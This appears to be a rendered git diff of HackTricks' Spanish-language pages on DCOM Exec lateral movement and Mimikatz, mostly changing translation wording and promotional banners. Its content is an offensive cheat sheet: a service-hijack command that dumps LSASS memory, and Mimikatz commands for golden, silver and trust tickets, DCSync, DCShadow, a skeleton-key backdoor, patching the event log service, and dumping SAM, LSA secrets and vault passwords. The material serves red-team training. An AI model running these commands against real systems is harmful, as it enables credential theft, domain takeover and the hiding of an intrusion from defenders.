||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# DCOM Exec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -24,11 +27,11 @@
|
|||
|
||||
**Para más información sobre esta técnica, consulta la publicación original en [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Los objetos del Modelo de Objetos Compuestos Distribuidos (DCOM) presentan una capacidad interesante para interacciones basadas en red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Objetos Compuestos (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Una lista de aplicaciones DCOM se puede recuperar utilizando el comando de PowerShell:
|
||||
Los objetos del Modelo de Objetos de Componente Distribuido (DCOM) presentan una capacidad interesante para interacciones basadas en red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Objetos de Componente (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Se puede recuperar una lista de aplicaciones DCOM utilizando el comando de PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
El objeto COM, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la automatización de operaciones de complementos MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifíquelo en funcionamiento:
|
||||
El objeto COM, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la automatización de operaciones de complementos MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifique su funcionamiento:
|
||||
|
||||
Esta función facilita la ejecución de comandos a través de una red mediante una aplicación DCOM. Para interactuar con DCOM de forma remota como administrador, se puede utilizar PowerShell de la siguiente manera:
|
||||
```powershell
|
||||
|
|
|
@ -1,39 +1,42 @@
|
|||
# Mimikatz
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Esta página está basada en una de [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. ¡Consulta el original para más información!
|
||||
**Esta página se basa en una de [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. ¡Consulta el original para más información!
|
||||
|
||||
## LM y texto claro en memoria
|
||||
## LM y Contraseñas en texto claro en memoria
|
||||
|
||||
A partir de Windows 8.1 y Windows Server 2012 R2, se han implementado medidas significativas para protegerse contra el robo de credenciales:
|
||||
Desde Windows 8.1 y Windows Server 2012 R2 en adelante, se han implementado medidas significativas para proteger contra el robo de credenciales:
|
||||
|
||||
- Las **hashes LM y las contraseñas en texto claro** ya no se almacenan en la memoria para mejorar la seguridad. Se debe configurar un ajuste específico en el registro, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, con un valor DWORD de `0` para deshabilitar la Autenticación Digest, asegurando que las contraseñas en "texto claro" no se almacenen en LSASS.
|
||||
- **Los hashes LM y las contraseñas en texto claro** ya no se almacenan en memoria para mejorar la seguridad. Se debe configurar un ajuste específico del registro, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ con un valor DWORD de `0` para deshabilitar la Autenticación Digest, asegurando que las contraseñas "en texto claro" no se almacenen en caché en LSASS.
|
||||
|
||||
- Se introduce la **Protección LSA** para proteger el proceso de Autoridad de Seguridad Local (LSA) de lecturas de memoria no autorizadas e inyección de código. Esto se logra marcando el LSASS como un proceso protegido. La activación de la Protección LSA implica:
|
||||
1. Modificar el registro en _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ estableciendo `RunAsPPL` en `dword:00000001`.
|
||||
2. Implementar un Objeto de Directiva de Grupo (GPO) que aplique este cambio de registro en los dispositivos gestionados.
|
||||
- **La Protección LSA** se introduce para proteger el proceso de la Autoridad de Seguridad Local (LSA) de la lectura no autorizada de memoria y la inyección de código. Esto se logra marcando el LSASS como un proceso protegido. La activación de la Protección LSA implica:
|
||||
1. Modificar el registro en _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ configurando `RunAsPPL` a `dword:00000001`.
|
||||
2. Implementar un Objeto de Política de Grupo (GPO) que haga cumplir este cambio de registro en los dispositivos gestionados.
|
||||
|
||||
A pesar de estas protecciones, herramientas como Mimikatz pueden eludir la Protección LSA utilizando controladores específicos, aunque es probable que tales acciones se registren en los registros de eventos.
|
||||
A pesar de estas protecciones, herramientas como Mimikatz pueden eludir la Protección LSA utilizando controladores específicos, aunque tales acciones probablemente se registren en los registros de eventos.
|
||||
|
||||
### Contrarrestar la eliminación de SeDebugPrivilege
|
||||
### Contrarrestando la Eliminación de SeDebugPrivilege
|
||||
|
||||
Normalmente, los administradores tienen SeDebugPrivilege, lo que les permite depurar programas. Este privilegio puede restringirse para evitar volcados de memoria no autorizados, una técnica común utilizada por atacantes para extraer credenciales de la memoria. Sin embargo, incluso con este privilegio eliminado, la cuenta TrustedInstaller aún puede realizar volcados de memoria utilizando una configuración de servicio personalizada:
|
||||
Los administradores suelen tener SeDebugPrivilege, lo que les permite depurar programas. Este privilegio puede ser restringido para evitar volcado de memoria no autorizado, una técnica común utilizada por los atacantes para extraer credenciales de la memoria. Sin embargo, incluso con este privilegio eliminado, la cuenta TrustedInstaller aún puede realizar volcado de memoria utilizando una configuración de servicio personalizada:
|
||||
```bash
|
||||
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
|
||||
sc start TrustedInstaller
|
||||
```
|
||||
Esto permite volcar la memoria de `lsass.exe` a un archivo, el cual luego puede ser analizado en otro sistema para extraer credenciales:
|
||||
Esto permite volcar la memoria de `lsass.exe` a un archivo, que luego puede ser analizado en otro sistema para extraer credenciales:
|
||||
```
|
||||
# privilege::debug
|
||||
# sekurlsa::minidump lsass.dmp
|
||||
|
@ -41,24 +44,24 @@ Esto permite volcar la memoria de `lsass.exe` a un archivo, el cual luego puede
|
|||
```
|
||||
## Opciones de Mimikatz
|
||||
|
||||
El manipuleo de registros de eventos en Mimikatz implica dos acciones principales: borrar los registros de eventos y parchear el servicio de Eventos para evitar el registro de nuevos eventos. A continuación se muestran los comandos para realizar estas acciones:
|
||||
La manipulación de registros de eventos en Mimikatz implica dos acciones principales: borrar registros de eventos y parchear el servicio de eventos para evitar el registro de nuevos eventos. A continuación se presentan los comandos para realizar estas acciones:
|
||||
|
||||
#### Borrado de Registros de Eventos
|
||||
|
||||
- **Comando**: Esta acción tiene como objetivo eliminar los registros de eventos, dificultando el seguimiento de actividades maliciosas.
|
||||
- Mimikatz no proporciona un comando directo en su documentación estándar para borrar los registros de eventos directamente a través de su línea de comandos. Sin embargo, la manipulación de registros de eventos generalmente implica el uso de herramientas del sistema o scripts fuera de Mimikatz para borrar registros específicos (por ejemplo, usando PowerShell o el Visor de Eventos de Windows).
|
||||
- Mimikatz no proporciona un comando directo en su documentación estándar para borrar registros de eventos directamente a través de su línea de comandos. Sin embargo, la manipulación de registros de eventos generalmente implica el uso de herramientas del sistema o scripts fuera de Mimikatz para borrar registros específicos (por ejemplo, usando PowerShell o el Visor de Eventos de Windows).
|
||||
|
||||
#### Función Experimental: Parcheando el Servicio de Eventos
|
||||
#### Función Experimental: Parcheo del Servicio de Eventos
|
||||
|
||||
- **Comando**: `event::drop`
|
||||
- Este comando experimental está diseñado para modificar el comportamiento del Servicio de Registro de Eventos, evitando efectivamente que registre nuevos eventos.
|
||||
- Ejemplo: `mimikatz "privilege::debug" "event::drop" exit`
|
||||
|
||||
- El comando `privilege::debug` asegura que Mimikatz opere con los privilegios necesarios para modificar los servicios del sistema.
|
||||
- Luego, el comando `event::drop` parchea el servicio de Registro de Eventos.
|
||||
- El comando `privilege::debug` asegura que Mimikatz opere con los privilegios necesarios para modificar servicios del sistema.
|
||||
- El comando `event::drop` luego parchea el servicio de Registro de Eventos.
|
||||
|
||||
|
||||
### Ataques de Tickets Kerberos
|
||||
### Ataques de Tickets de Kerberos
|
||||
|
||||
### Creación de Golden Ticket
|
||||
|
||||
|
@ -66,20 +69,20 @@ Un Golden Ticket permite la suplantación de acceso a nivel de dominio. Comando
|
|||
|
||||
- Comando: `kerberos::golden`
|
||||
- Parámetros:
|
||||
- `/domain`: El nombre de dominio.
|
||||
- `/domain`: El nombre del dominio.
|
||||
- `/sid`: El Identificador de Seguridad (SID) del dominio.
|
||||
- `/user`: El nombre de usuario a suplantar.
|
||||
- `/krbtgt`: El hash NTLM de la cuenta de servicio KDC del dominio.
|
||||
- `/ptt`: Inyecta directamente el ticket en la memoria.
|
||||
- `/ticket`: Guarda el ticket para uso posterior.
|
||||
- `/ticket`: Guarda el ticket para su uso posterior.
|
||||
|
||||
Ejemplo:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
|
||||
```
|
||||
### Creación de Ticket de Plata
|
||||
### Creación de Silver Ticket
|
||||
|
||||
Los Tickets de Plata otorgan acceso a servicios específicos. Comando clave y parámetros:
|
||||
Los Silver Tickets otorgan acceso a servicios específicos. Comando clave y parámetros:
|
||||
|
||||
- Comando: Similar al Golden Ticket pero se dirige a servicios específicos.
|
||||
- Parámetros:
|
||||
|
@ -92,59 +95,59 @@ mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-12345678
|
|||
```
|
||||
### Creación de Tickets de Confianza
|
||||
|
||||
Los Tickets de Confianza se utilizan para acceder a recursos en diferentes dominios aprovechando las relaciones de confianza. Comando clave y parámetros:
|
||||
Los Tickets de Confianza se utilizan para acceder a recursos a través de dominios aprovechando las relaciones de confianza. Comando clave y parámetros:
|
||||
|
||||
- Comando: Similar al Golden Ticket pero para relaciones de confianza.
|
||||
- Parámetros:
|
||||
- `/target`: El FQDN del dominio objetivo.
|
||||
- `/rc4`: El hash NTLM de la cuenta de confianza.
|
||||
- `/target`: El FQDN del dominio objetivo.
|
||||
- `/rc4`: El hash NTLM para la cuenta de confianza.
|
||||
|
||||
Ejemplo:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
|
||||
```
|
||||
### Comandos adicionales de Kerberos
|
||||
### Additional Kerberos Commands
|
||||
|
||||
- **Listar tickets**:
|
||||
- Comando: `kerberos::list`
|
||||
- **Listing Tickets**:
|
||||
- Command: `kerberos::list`
|
||||
- Lista todos los tickets de Kerberos para la sesión de usuario actual.
|
||||
|
||||
- **Pasar la caché**:
|
||||
- Comando: `kerberos::ptc`
|
||||
- **Pass the Cache**:
|
||||
- Command: `kerberos::ptc`
|
||||
- Inyecta tickets de Kerberos desde archivos de caché.
|
||||
- Ejemplo: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
||||
- Example: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **Pasar el ticket**:
|
||||
- Comando: `kerberos::ptt`
|
||||
- **Pass the Ticket**:
|
||||
- Command: `kerberos::ptt`
|
||||
- Permite usar un ticket de Kerberos en otra sesión.
|
||||
- Ejemplo: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
||||
- Example: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **Limpiar tickets**:
|
||||
- Comando: `kerberos::purge`
|
||||
- **Purge Tickets**:
|
||||
- Command: `kerberos::purge`
|
||||
- Borra todos los tickets de Kerberos de la sesión.
|
||||
- Útil antes de usar comandos de manipulación de tickets para evitar conflictos.
|
||||
|
||||
|
||||
### Manipulación de Active Directory
|
||||
### Active Directory Tampering
|
||||
|
||||
- **DCShadow**: Hacer temporalmente que una máquina actúe como un DC para la manipulación de objetos de AD.
|
||||
- **DCShadow**: Hacer que una máquina actúe temporalmente como un DC para la manipulación de objetos de AD.
|
||||
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
|
||||
|
||||
- **DCSync**: Imitar a un DC para solicitar datos de contraseñas.
|
||||
- **DCSync**: Imitar un DC para solicitar datos de contraseña.
|
||||
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
|
||||
|
||||
### Acceso a credenciales
|
||||
### Credential Access
|
||||
|
||||
- **LSADUMP::LSA**: Extraer credenciales de LSA.
|
||||
- `mimikatz "lsadump::lsa /inject" exit`
|
||||
|
||||
- **LSADUMP::NetSync**: Suplantar a un DC usando los datos de contraseña de una cuenta de computadora.
|
||||
- **LSADUMP::NetSync**: Suplantar un DC usando los datos de contraseña de una cuenta de computadora.
|
||||
- *No se proporciona un comando específico para NetSync en el contexto original.*
|
||||
|
||||
- **LSADUMP::SAM**: Acceder a la base de datos SAM local.
|
||||
- `mimikatz "lsadump::sam" exit`
|
||||
|
||||
- **LSADUMP::Secrets**: Descifrar secretos almacenados en el registro.
|
||||
- **LSADUMP::Secrets**: Desencriptar secretos almacenados en el registro.
|
||||
- `mimikatz "lsadump::secrets" exit`
|
||||
|
||||
- **LSADUMP::SetNTLM**: Establecer un nuevo hash NTLM para un usuario.
|
||||
|
@ -153,20 +156,20 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
- **LSADUMP::Trust**: Recuperar información de autenticación de confianza.
|
||||
- `mimikatz "lsadump::trust" exit`
|
||||
|
||||
### Varios
|
||||
### Miscellaneous
|
||||
|
||||
- **MISC::Skeleton**: Inyectar una puerta trasera en LSASS en un DC.
|
||||
- **MISC::Skeleton**: Inyectar un backdoor en LSASS en un DC.
|
||||
- `mimikatz "privilege::debug" "misc::skeleton" exit`
|
||||
|
||||
### Escalada de privilegios
|
||||
### Privilege Escalation
|
||||
|
||||
- **PRIVILEGE::Backup**: Adquirir derechos de copia de seguridad.
|
||||
- **PRIVILEGE::Backup**: Adquirir derechos de respaldo.
|
||||
- `mimikatz "privilege::backup" exit`
|
||||
|
||||
- **PRIVILEGE::Debug**: Obtener privilegios de depuración.
|
||||
- `mimikatz "privilege::debug" exit`
|
||||
|
||||
### Volcado de credenciales
|
||||
### Credential Dumping
|
||||
|
||||
- **SEKURLSA::LogonPasswords**: Mostrar credenciales de usuarios conectados.
|
||||
- `mimikatz "sekurlsa::logonpasswords" exit`
|
||||
|
@ -174,24 +177,40 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
- **SEKURLSA::Tickets**: Extraer tickets de Kerberos de la memoria.
|
||||
- `mimikatz "sekurlsa::tickets /export" exit`
|
||||
|
||||
### Manipulación de SID y token
|
||||
### Sid and Token Manipulation
|
||||
|
||||
- **SID::add/modify**: Cambiar SID y SIDHistory.
|
||||
- Agregar: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
||||
- Modificar: *No hay un comando específico para modificar en el contexto original.*
|
||||
- Add: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
||||
- Modify: *No se proporciona un comando específico para modificar en el contexto original.*
|
||||
|
||||
- **TOKEN::Elevate**: Suplantar tokens.
|
||||
- `mimikatz "token::elevate /domainadmin" exit`
|
||||
|
||||
### Servicios de Terminal
|
||||
### Terminal Services
|
||||
|
||||
- **TS::MultiRDP**: Permitir múltiples sesiones de RDP.
|
||||
- **TS::MultiRDP**: Permitir múltiples sesiones RDP.
|
||||
- `mimikatz "ts::multirdp" exit`
|
||||
|
||||
- **TS::Sessions**: Listar sesiones de TS/RDP.
|
||||
- **TS::Sessions**: Listar sesiones TS/RDP.
|
||||
- *No se proporciona un comando específico para TS::Sessions en el contexto original.*
|
||||
|
||||
### Bóveda
|
||||
### Vault
|
||||
|
||||
- Extraer contraseñas de Windows Vault.
|
||||
- Extraer contraseñas del Windows Vault.
|
||||
- `mimikatz "vault::cred /patch" exit`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue